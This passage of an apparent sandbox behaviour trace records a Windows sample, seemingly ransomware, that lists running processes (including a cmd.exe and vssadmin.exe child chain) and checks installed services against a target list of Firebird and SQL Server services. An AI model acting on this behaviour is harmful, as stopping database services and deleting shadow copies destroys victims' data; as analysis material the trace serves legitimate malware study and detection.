cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0213.023] lstrlenW (lpString="mp beginners.exe") returned 16 [0213.023] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0213.024] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0213.024] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0213.025] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0213.025] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0213.025] lstrlenW (lpString="harassment.exe") returned 14 [0213.025] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0213.026] lstrlenW (lpString="francis-communication.exe") returned 25 [0213.026] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0213.027] lstrlenW (lpString="gccinformational.exe") returned 20 [0213.027] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0213.028] lstrlenW (lpString="diploma.exe") returned 11 [0213.028] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0213.029] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0213.029] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.030] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.030] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.031] lstrlenW (lpString="svchost.exe") returned 11 [0213.031] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0213.031] lstrlenW (lpString="sppsvc.exe") returned 10 [0213.031] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.032] lstrlenW (lpString="svchost.exe") returned 11 [0213.032] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0213.033] lstrlenW (lpString="qnuriy.exe") returned 10 [0213.033] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0213.034] lstrlenW (lpString="cmd.exe") returned 7 [0213.034] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.035] lstrlenW (lpString="conhost.exe") returned 11 [0213.035] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0213.036] lstrlenW (lpString="vssadmin.exe") returned 12 [0213.036] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.036] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.037] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0213.037] lstrlenW (lpString="VSSVC.exe") returned 9 [0213.037] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0213.038] CloseHandle (hObject=0x1b0) returned 1 [0213.038] Sleep (dwMilliseconds=0x1f4) [0213.538] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0213.539] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0213.539] GetLastError () returned 0xea [0213.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f06078 [0213.539] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0213.540] CloseServiceHandle (hSCObject=0x570150) returned 1 [0213.540] lstrlenW (lpString="Appinfo") returned 7 [0213.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0213.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0213.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0213.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0213.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0213.540] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0213.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0213.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0213.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0213.540] lstrlenW (lpString="AudioSrv") returned 8 [0213.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0213.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0213.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0213.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0213.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0213.540] lstrlenW (lpString="BFE") returned 3 [0213.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0213.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0213.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0213.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0213.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0213.541] lstrlenW (lpString="CryptSvc") returned 8 [0213.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0213.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0213.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0213.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0213.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0213.541] lstrlenW (lpString="CscService") returned 10 [0213.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0213.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0213.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0213.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0213.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0213.541] lstrlenW (lpString="DcomLaunch") returned 10 [0213.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0213.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0213.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0213.541] lstrlenW (lpString="Dhcp") returned 4 [0213.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0213.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0213.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0213.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0213.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0213.541] lstrlenW (lpString="Dnscache") returned 8 [0213.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0213.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0213.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0213.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0213.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0213.542] lstrlenW (lpString="DPS") returned 3 [0213.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0213.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0213.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0213.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0213.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0213.542] lstrlenW (lpString="eventlog") returned 8 [0213.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0213.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0213.542] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0213.542] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0213.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0213.542] lstrlenW (lpString="EventSystem") returned 11 [0213.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0213.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0213.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0213.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0213.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0213.542] lstrlenW (lpString="FontCache") returned 9 [0213.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0213.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0213.542] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0213.542] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0213.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0213.543] lstrlenW (lpString="gpsvc") returned 5 [0213.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0213.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0213.543] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0213.543] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0213.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0213.543] lstrlenW (lpString="iphlpsvc") returned 8 [0213.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.543] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0213.543] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0213.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0213.543] lstrlenW (lpString="LanmanServer") returned 12 [0213.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0213.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0213.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0213.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0213.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0213.543] lstrlenW (lpString="LanmanWorkstation") returned 17 [0213.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0213.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0213.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0213.543] lstrlenW (lpString="lmhosts") returned 7 [0213.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0213.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0213.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0213.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0213.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0213.544] lstrlenW (lpString="MMCSS") returned 5 [0213.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0213.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0213.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0213.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0213.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0213.544] lstrlenW (lpString="MpsSvc") returned 6 [0213.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0213.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0213.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0213.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0213.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0213.544] lstrlenW (lpString="Netman") returned 6 [0213.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0213.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0213.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0213.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0213.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0213.544] lstrlenW (lpString="netprofm") returned 8 [0213.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0213.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0213.544] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0213.544] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0213.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0213.544] lstrlenW (lpString="NlaSvc") returned 6 [0213.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0213.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0213.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0213.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0213.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0213.545] lstrlenW (lpString="nsi") returned 3 [0213.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0213.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0213.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0213.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0213.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0213.545] lstrlenW (lpString="PcaSvc") returned 6 [0213.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0213.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0213.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0213.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0213.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0213.545] lstrlenW (lpString="PlugPlay") returned 8 [0213.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0213.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0213.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0213.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0213.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0213.546] lstrlenW (lpString="Power") returned 5 [0213.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0213.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0213.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0213.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0213.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0213.546] lstrlenW (lpString="ProfSvc") returned 7 [0213.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0213.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0213.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0213.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0213.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0213.546] lstrlenW (lpString="RpcEptMapper") returned 12 [0213.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0213.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0213.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0213.546] lstrlenW (lpString="RpcSs") returned 5 [0213.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0213.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0213.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0213.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0213.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0213.546] lstrlenW (lpString="SamSs") returned 5 [0213.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0213.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0213.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0213.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0213.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0213.547] lstrlenW (lpString="Schedule") returned 8 [0213.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0213.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0213.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0213.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0213.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0213.547] lstrlenW (lpString="SENS") returned 4 [0213.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0213.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0213.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0213.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0213.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0213.547] lstrlenW (lpString="ShellHWDetection") returned 16 [0213.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0213.547] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0213.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0213.547] lstrlenW (lpString="Spooler") returned 7 [0213.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0213.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0213.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0213.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0213.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0213.548] lstrlenW (lpString="sppsvc") returned 6 [0213.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0213.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0213.548] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0213.548] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0213.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0213.548] lstrlenW (lpString="SysMain") returned 7 [0213.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0213.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0213.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0213.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0213.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0213.548] lstrlenW (lpString="Themes") returned 6 [0213.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0213.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0213.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0213.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0213.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0213.548] lstrlenW (lpString="TrkWks") returned 6 [0213.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0213.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0213.548] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0213.548] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0213.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0213.548] lstrlenW (lpString="UxSms") returned 5 [0213.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 